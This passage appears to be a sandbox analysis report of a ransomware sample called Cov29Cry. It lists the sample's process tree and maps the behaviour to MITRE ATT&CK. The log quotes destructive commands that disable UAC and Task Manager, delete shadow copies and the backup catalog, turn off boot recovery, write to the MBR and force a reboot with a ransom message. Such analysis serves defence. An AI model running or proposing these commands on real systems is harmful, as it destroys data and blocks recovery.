    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1512
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3760
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2628
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:880
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1560
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:2024
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:4320
- - C:\Users\Admin\AppData\Local\Temp\95B3.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:1556
- - C:\Users\Admin\AppData\Local\Temp\95B3.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1168
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:4580
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:3524
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1992
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:4652
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:3552
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4484
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:1576
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:3108
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        Suspicious use of FindShellTrayWindow
        
        PID:2100
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - Runs ping.exe
    PID:1088
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2172
- - C:\Users\Admin\AppData\Local\Temp\95B3.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3104

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3700

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2368

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4072

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa396e855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery